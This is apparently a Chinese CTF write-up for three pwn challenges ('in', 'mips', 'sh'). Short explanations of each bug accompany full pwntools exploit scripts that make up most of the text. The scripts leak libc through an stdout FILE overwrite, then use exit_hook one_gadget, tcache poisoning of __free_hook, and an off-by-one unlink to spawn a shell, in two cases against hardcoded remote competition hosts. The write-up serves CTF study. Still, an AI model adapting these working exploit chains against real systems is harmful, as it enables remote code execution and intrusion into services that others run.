in
- 题目逻辑非常简单
- 同时题目保护全开,一眼看到有个任意地址写3字节,所以第一个思路是先leak出libcbase.没有任何输出函数,显然这里需要打stdout来泄露,而且发现下面两处read意图很明显,显然是先修改magic为0xfbad1887,然后再让base低字节为\x00,这样就可以泄露出libcbase
- 后面一个任意地址写3字节,看到main最后有个exit,显然是要打exit_hook然后one_gadget来getshell
- 笔者用u22然后patch给的libc和ld后直接就打通了远程
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
p=remote('47.112.189.16',33889)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0xA36)')
pause()
# dbg()
p.sendlineafter("Size:",str(0x5c6611))
p.sendlineafter("Size:",str(0x200000))
p.sendafter("Data:",b'\x18')
p.send(b'\x00')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3c36e0
print(hex(libcbase))
ogg=[0x45216,0x4526a,0xf02a4,0xf1147]
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
p.sendafter("Now getshell!",p64(libcbase+0x5f0f48))
p.send(p64(libcbase+ogg[1])[0:3])
p.interactive()
mips
- 可以注意到add函数中,不是malloc,而是用strdup,而sizelist存的又是读入的size,strdup会根据read(0, s, 0x100uLL);函数读入的字符串s的长度来进行malloc
- strdup机制如图所示
- 那接下来的思路就是先泄露libcase,然后这里的edit是根据sizelist存的值进行的,只要strdup申请的堆块大小比sizelist存的小,那就有溢出,就可以打tcache poison走free_hook
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/mips")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
p=remote('47.106.14.25',30769)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/mips")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0xE40)')
pause()
menu="4.show"
def add(idx,size,cont):
p.sendlineafter(menu,str(1))
p.sendlineafter("Input index: ",str(idx))
p.sendlineafter("Input size: ",str(size))
p.sendafter("Input note: ",cont)
def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Input index: ",str(idx))
def edit(idx,cont):
p.sendlineafter(menu,str(3))
p.sendlineafter("Input index: ",str(idx))
p.sendafter("Input note: ",cont)
def show(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("Input index: ",str(idx))
for i in range(9):
add(i,0xff,b'a'*(0x90-1))
for i in range(8,0,-1):
delete(i)
# dbg()
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
print(hex(libcbase))
for i in range(9):
add(i,0xff,b'a'*(0x90-1))
add(0,0xff,b'a')
add(1,0xff,b'a')
add(2,0xff,b'a')
delete(2)
delete(1)
free_hook=libcbase+libc.sym['__free_hook']
system_addr = libcbase + libc.symbols['system']
bin_addr = libcbase + next(libc.search(b'/bin/sh'))
edit(0,b'a'*0x10+p64(0)+p64(0x21)+p64(free_hook))
# dbg()
add(0,0xff,b'/bin/sh\x00')
add(1,0xff,p64(system_addr))
delete(0)
# dbg()
p.interactive()
sh
最后一小时上了这个题,堆题远程还不给libc,有点没绷住,自己本地glibc2.31赛后没多久就打通本地了,远程不知道libc是什么,如果是glibc2.35可能要打IO麻烦点,但是主要是要会漏洞利用思路
main函数
buy函数就是add,see函数就是show,sell就是delete,groom就是edit,lucky是和伪随机数相关的一个函数
先说伪随机数绕过,可以看到edit时会和逐字节和随机数异或
因为是伪随机数,所以可以得到具体是什么。然后lucky给了一次可以修改rand1,rand2值的机会,把他们变成0,异或0等于什么都没有做,这样不影响以后的edit过程
from ctypes import *
from pwnlib.util.packing import p64
LIBC = CDLL('libc.so.6')
rand1 = LIBC.rand()
rand2 = LIBC.rand()
rand3 = LIBC.rand()
rand3=(rand2+rand1*rand3)&0xff
p.sendlineafter(menu,str(5))
p.sendlineafter("Let me check.",str(rand3))
p.sendafter("number1:",p64(0))
p.sendafter("number2:",p64(0))
题目中没有uaf
最主要的漏洞如下:
这里看似检查了chunklist,sizelist是否为0,但是并没有exit,只是puts了一段话,该怎么越界还是怎么越界,不过这里只能向上越界,因为v1这种都是unsigned int
再观察bss段,发现chunklist3地址比chunklist1,chunklist2低
这里的利用向上越界只要是让edit的size变得很大,比如sizelist3[5]这个时候size的值应该是对应的chunk(也就是一个很大的值),所以可以看到如下情形
也就是可以通过chunklist1[1]来控制后面的堆块,这里的可以edit的size已经很大了。没有uaf,所以考虑打off-by-one,这里可以把后面的堆块给unlink到一起,这样即使它们被delete后,仍然可以通过chunklist1[2]来对其fd进行写,来打tcache poison
具体如下
#通过chunklist1[1]来改变chunklist1[2]的size位,这个把ck2[0],ck2[1]都给unlink到一起了
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
edit(3,5,b'a'*0x20+p64(0)+p64(0x91))
delete(1,2)
add(4,0x80)
delete(2,1)
delete(2,0)
edit(4,0,b'a'*0x20+p64(0)+p64(31)+p64(free_hook))
add(2,0x20)
add(2,0x20)
# dbg()
edit(2,0,b'/bin/sh\x00')
edit(2,1,p64(system))
发现成功进行tcache poison
最后getshell
-
如果是glibc2.35无非是走IO,但是已经可以tcache poison了任意申请申请并且可以edit,所以布置IO也不是个难事
-
exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x25B8 )')
# p=remote('47.106.14.25',30769)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x1EAF)')
pause()
menu="Your select : "
def add(type,size):
p.sendlineafter(menu,str(1))
p.sendlineafter("Your select : ",str(type))
p.sendlineafter("?",str(size))
p.sendlineafter(":",str(5))
def show(type,idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Your select : ",str(type))
p.sendlineafter("Which sheep do you want to see?",str(idx))
p.sendlineafter(":",str(5))
def delete(type,idx):
p.sendlineafter(menu,str(3))
p.sendlineafter("Your select : ",str(type))
p.sendlineafter("?",str(idx))
p.sendlineafter(":",str(5))
def edit(type,idx,cont):
p.sendlineafter(menu,str(4))
p.sendlineafter("Your select : ",str(type))
p.sendlineafter("Which sheep('v') do you want to groom?",str(idx))
p.sendafter("grooming",cont)
p.sendlineafter(":",str(5))
p.sendlineafter(menu,str(1))
p.sendlineafter("Please name your sheep's home:",b'a')
#012
for i in range(3):
add(1,0xa0)
#345
for i in range(3):
add(2,0xa0)
#678
for i in range(3):
add(3,0xa0)
add(4,0xa0)
add(4,0x60)
add(4,0x60)
#-----------------------------
for i in range(3):
delete(1,i)
for i in range(3):
delete(2,i)
delete(3,0)
#进入unsorted bin
delete(4,0)
#012
for i in range(3):
add(1,0xa0)
#345
for i in range(3):
add(2,0xa0)
#6
add(3,0xa0)
#切割unsorted bin得到libc
add(4,0x60)
# dbg()
show(4,0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ecc80
print(hex(libcbase))
from ctypes import *
from pwnlib.util.packing import p64
LIBC = CDLL('libc.so.6')
rand1 = LIBC.rand()
rand2 = LIBC.rand()
rand3 = LIBC.rand()
rand3=(rand2+rand1*rand3)&0xff
p.sendlineafter(menu,str(5))
p.sendlineafter("Let me check.",str(rand3))
p.sendafter("number1:",p64(0))
p.sendafter("number2:",p64(0))
#把chunklist都清空
for i in range(3):
delete(1,i)
for i in range(3):
delete(2,i)
for i in range(3):
delete(3,i)
for i in range(3):
delete(4,i)
#再全部申请出来0x30大小的chunk
#012
for i in range(3):
add(1,0x20)
#345
for i in range(3):
add(2,0x20)
#678
for i in range(3):
add(3,0x20)
# dbg()
#通过chunklist1[1]来改变chunklist1[2]的size位,这个把ck2[0],ck2[1]都给unlink到一起了
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
# dbg()
edit(3,5,b'a'*0x20+p64(0)+p64(0x91))
delete(1,2)
add(4,0x80)
delete(2,1)
delete(2,0)
edit(4,0,b'a'*0x20+p64(0)+p64(31)+p64(free_hook))
# dbg()
add(2,0x20)
add(2,0x20)
# dbg()
edit(2,0,b'/bin/sh\x00')
edit(2,1,p64(system))
p.sendlineafter(menu,str(3))
p.sendlineafter("Your select : ",str(2))
p.sendlineafter("?",str(0))
# dbg()
p.interactive()